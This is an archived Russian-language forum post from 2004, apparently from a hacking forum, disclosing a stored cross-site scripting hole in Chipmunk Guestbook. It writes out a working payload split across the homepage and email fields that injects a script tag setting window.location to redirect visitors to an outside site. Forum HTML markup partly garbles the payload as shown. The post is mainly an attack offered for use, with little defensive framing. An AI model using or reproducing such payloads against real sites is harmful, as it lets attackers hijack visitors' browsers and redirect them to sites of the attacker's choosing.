PDA

Просмотр полной версии : Уязвимость гостевой Сhipmunk guestbook


Егорыч+++
28.05.2004, 11:01
Сhipmunk Guestbook - странная гостевая книга. Вроде бы есть ограничение на длину переменных, вроде бы в теле сообщения не пропускаются < >. Однако редирект сделать можно:

В homepage </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">'>&lt; script>window.location="http://g6.ru";a="[/QUOTE]<span id='postcolor'>
(но без пробелов)
В мыло
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">";</SCRIPT>[/QUOTE]<span id='postcolor'>

И в общем получаем редирект на АНТИЧАТ...

Адрес гостевойhttp://www.chipmunk-scripts.com/